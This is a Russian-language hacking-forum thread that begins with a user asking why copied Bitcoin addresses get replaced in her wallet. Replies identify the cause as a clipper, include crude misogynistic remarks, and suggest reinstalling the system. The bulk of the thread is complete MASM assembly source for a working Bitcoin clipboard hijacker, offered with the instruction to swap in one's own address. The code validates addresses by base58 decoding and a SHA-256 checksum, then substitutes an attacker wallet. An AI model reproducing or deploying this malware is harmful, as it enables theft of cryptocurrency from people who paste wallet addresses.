• XSS.stack #1 – первый литературный журнал от юзеров форума

Я сошла с ума??? Так бывает?

karmakiller

floppy-диск
Пользователь
Регистрация
25.05.2024
Сообщения
9
Реакции
4
Доброго времени суток.
Сижу с ощущением что я выжила из ума. Что за неведомую заразу я подцепила в интернетах подскажите чем лечить?
Установлен кош на ноутбуке, работает как обычно, кроме одного момента, откуда бы я не копировала адрес бтк вставляется в строке отправителя другой адрес, всегда один и тот же с охренительным оборотом и он один и тот же. В общем я не против быть меценатом, но меценат-нищенка странное какое-то сочетание. Подскажите что сделать выкинуть ноут или мозги купить себе? 🤣
Ну а если серьёзно, то подскажите как это вылечить помогите пожалуйста
 
Щас на фоне этой девушки, всех девушек буду гасить 😁
https://xss.pro/threads/120144
Братцы будьте аккуратны. Девушки зло, так что всю переписку оставьте в этом треде и не идите в ПМ.
 
Больше конечно похоже на то что у тебя кош с авто-выводом или мультиподписью, ждешь когда тебе напишут аля помощники и попросят сидку чтоб решить твои проблемы)))))
Так это смотритя на раз - два, по адресу.


https://xss.pro/threads/120144 Братцы будьте аккуратны. Девушки зло, так что всю переписку оставьте в этом треде и не идите в ПМ.
Для дрочеров видать такое) кто видит сообщение от девушки и готов на всё, лишь бы ему дали потрогать пилотку


99.999% это клипер как и писали выше, он копирует адрес левый, при отправление и расчитан на невнимательность лохов
Тебе его надо искать, хотя он может переустановиться при удалении - если это продвинутый , проще снести всё и переустановить, для безопасности ради) если это рдп, вопров куда именно ты поймала это.
 
К сожалению не помню имя человека, чей код я выкладываю. Может кто из старичков узнает по почерку.
Адрес btc стоит мой (заменить на свой).
компилированный .exe весит 3 килобайта


Код:
.386
.model flat, stdcall
option casemap :none

include \masm32\include\windows.inc
include \masm32\macros\macros.asm
include \masm32\macros\windows.asm

uselib kernel32, user32, advapi32, masm32

.const
; Диапазон допустимой длины адреса кошелька
wallet_len_min equ 27
wallet_len_max equ 34

; Код версии адреса
address_version equ 00h

; Набор символов, используемых в адресе
; Кроме: 0 O I l
wallet_symbols db "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz", 0

; Адрес, на который будет заменяться значение в буфере
wallet_replace db "1514r9zPmqTnavMpyW6VUqYqcX2kDQeD1u", 0

.data?
prov dd ?


.code
; Вспомогательные функции
log_message proc msg:dword
    local buffer[256]:byte
   
    invoke GetLastError
    invoke wsprintf, addr buffer, chr$("%s [%08X]"), msg, eax
   
    invoke OutputDebugString, addr buffer
   
    ret
log_message endp

base58_decode proc uses ebx esi edi, in_buffer:dword, out_buffer:dword
   
    ; Будем опираться на констаны, свойственные для проверки кошелька
    ; Размер выходного буфера не менее 25 байт (расширенный RIPEMD-160 + 4 байта контрольной суммы)]
    ; Декодирование исключительно под адрес кошелька,
    ; для абстрактной строки в base58 функцию необходимо править
   
    ; Заполняем содержимое буфера нулями
    xor eax, eax
    mov ecx, 25
    mov edi, out_buffer
    rep stosb
   
   
    mov esi, in_buffer
    mov edi, out_buffer
m1:
    ; Нулл-байт во входном буфере - конец декодирования
    movzx eax, byte ptr[esi]
    test eax, eax
    je m5
   
    ; Сохраним регистр на время сканирования символа в eax
    push esi
   
    ; Символ должен быть из набора wallet_symbols
    mov esi, offset wallet_symbols
m2:
    movzx ebx, byte ptr[esi]
    ; Если байты совпадают, то символ входит в набор допустимых
    cmp eax, ebx
    jz m3
   
    ; Если мы дошли до конца набора допустимых символов (нулл-байт)
    ; и все ещё не вышли из цикла, значит, символ не из набора
    test ebx, ebx
    je err0
   
    ; Продолжаем проверку
    inc esi
    jmp m2
m3:
    ; Поместим в eax позицию найденого в наборе символа
    mov eax, esi
    mov esi, offset wallet_symbols
   
    sub eax, esi
   
    ; Вложенный цикл с конца выходного буфера
    mov ebx, 25 - 1
m4:
    ; N-й элемент буфера (с конца) умножим на 58
    ; и прибавим к позиции упомянутой выше
    movzx ecx, byte ptr[edi + ebx]
   
    imul ecx, 58
    add eax, ecx
   
    ; Сохраним в выходной буфер результат деления с остатком
    push ebx
   
    cdq
    mov ebx, 256
    div ebx
   
    pop ebx
   
    mov byte ptr[edi + ebx], dl
   
    ; Поделим позицию элемента на 256
    push ebx
   
    cdq
    mov ebx, 256
    div ebx
   
    mov eax, edx
   
    pop ebx
   
    ; Конец тела вложенного цикла
    dec ebx
    test ebx, ebx
    jne m4
   
   
    pop esi
   
    ; Если в eax что-то отличное от нулл-байта,
    ; значит, адрес кошелька имеет некорректный размер
    test eax, eax
    jne err1
   
    inc esi
    jmp m1
m5:
   
    mov eax, 1
    ret
   
err0:
    pop esi
    invoke log_message, chr$("invalid symbol")
   
    mov eax, 0
    ret
err1:
    invoke log_message, chr$("invalid address length")
   
    mov eax, 0
    ret
base58_decode endp


sha256init proc
    invoke CryptAcquireContext, offset prov, NULL, NULL, PROV_RSA_AES, 0
    .if eax == 0
        invoke CryptAcquireContext, offset prov, NULL, NULL, PROV_RSA_AES, CRYPT_NEWKEYSET
    .endif
   
    ret
sha256init endp


sha256fini proc
    invoke CryptReleaseContext, prov, 0
   
    ret
sha256fini endp


sha256 proc in_buffer:dword, in_buffer_length:dword, out_buffer:dword, out_buffer_length:dword
    local hash:dword
    local aux:dword
   
    ; CALG_SHA_256 - 0x0000800c
    invoke CryptCreateHash, prov, 0000800Ch, 0, 0, addr hash
    .if eax == 0
        invoke log_message, chr$("CryptCreateHash")
        jmp err
    .endif
   
    invoke CryptHashData, hash, in_buffer, in_buffer_length, 0
    .if eax == 0
        invoke log_message, chr$("CryptHashData")
        jmp err
    .endif
   
    mov aux, sizeof dword
   
    invoke CryptGetHashParam, hash, HP_HASHSIZE, addr out_buffer_length, addr aux, 0
    .if eax == 0
        invoke log_message, chr$("CryptGetHashParam - HP_HASHSIZE")
        jmp err
    .endif
   
    invoke CryptGetHashParam, hash, HP_HASHVAL, out_buffer, addr out_buffer_length, 0
    .if eax == 0
        invoke log_message, chr$("CryptGetHashParam - HP_HASHVAL")
        jmp err
    .endif
   
err:
    .if hash != 0
        invoke CryptDestroyHash, hash
    .endif
   
    ret
sha256 endp


validate_wallet proc uses esi edi, buffer:dword
    local decoded[32]:byte
    local digest1[32]:byte
    local digest2[32]:byte
   
    invoke lstrlen, buffer
    .if eax < wallet_len_min || eax > wallet_len_max
        invoke log_message, chr$("wallet length error")
        jmp err
    .endif
   
    ; Декодируем адрес из base58
    invoke base58_decode, buffer, addr decoded
    .if eax == 0
        invoke log_message, chr$("base58_decode error")
        jmp err  
    .endif
   
    ; Проверяем версию
    lea eax, decoded
    mov al, byte ptr[eax]
    .if al != address_version
        invoke log_message, chr$("address version error")
        jmp err  
    .endif
   
    invoke sha256, addr decoded, 21, addr digest1, sizeof digest1  
    invoke sha256, addr digest1, sizeof digest1, addr digest2, sizeof digest2
   
    ; Сравним декодированную и посчитанную контрольные суммы
    lea esi, decoded
    add esi, 21
    lea edi, digest2
   
    mov ecx, 4
    repz cmpsb
    jnz err
   
    mov eax, 1
    ret
err:
    mov eax, 0
    ret
validate_wallet endp


SetClipboardTextEx proc ptxt:DWORD
    LOCAL hMem  :DWORD
    LOCAL pMem  :DWORD
    LOCAL slen  :DWORD

    invoke StrLen, ptxt                         ; get length of text
    mov slen, eax
    add slen, 64

    invoke GlobalAlloc,GMEM_MOVEABLE or \
           GMEM_DDESHARE,slen                   ; allocate memory
    mov hMem, eax
    invoke GlobalLock,hMem                      ; lock memory
    mov pMem, eax

    cst pMem, ptxt                              ; copy text to allocated memory

    invoke OpenClipboard,NULL                   ; open clipboard
    invoke EmptyClipboard                       ; clear clipboard
    invoke SetClipboardData,CF_TEXT,pMem        ; write data to it
    invoke CloseClipboard                       ; close clipboard

    invoke GlobalUnlock,hMem                    ; unlock memory
    invoke GlobalFree,hMem                      ; deallocate memory

    ret
SetClipboardTextEx endp


start proc
    local clipboard_data:dword
   
   
    invoke sha256init
    .if eax == 0
        invoke log_message, chr$("sha256init")
        jmp err
    .endif
   
    .while TRUE
        invoke GetClipboardText
       
        .if eax != 0
            mov clipboard_data, eax
           
            ; Проверим содержимое буфера обмена и заменим,
            ; если это адрес Bitcoin кошелька
            invoke validate_wallet, clipboard_data
            .if eax != 0
                invoke log_message, chr$("valid wallet detected")
                invoke SetClipboardTextEx, offset wallet_replace
            .endif
           
            invoke GlobalFree, clipboard_data
        .endif
       
        invoke Sleep, 500
    .endw
   
err:
    invoke sha256fini
   
    invoke ExitProcess, 0
    ret
start endp


end start
 
Последнее редактирование:
Good day.
I'm sitting here with the feeling that I've gone crazy. What kind of unknown infection did I pick up on the Internet? Tell me how to treat it?
The kosh is installed on the laptop, it works as usual, except for one thing, no matter where I copy the btc address from, another address is inserted in the sender line, always the same with a fucking turnover and it is the same. In general, I am not against being a philanthropist, but a philanthropist-beggar is some kind of strange combination. Tell me what to do, throw out the laptop or buy myself a brain? 🤣
But seriously, please tell me how to cure this. Help me please.
It sounds like your laptop may be infected with malware specifically designed to hijack cryptocurrency addresses, often referred to as "clipboard hijacking" malware. This type of malware works by monitoring your clipboard for certain data types, such as cryptocurrency addresses, and then replacing them with the attacker's address when you try to paste it.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх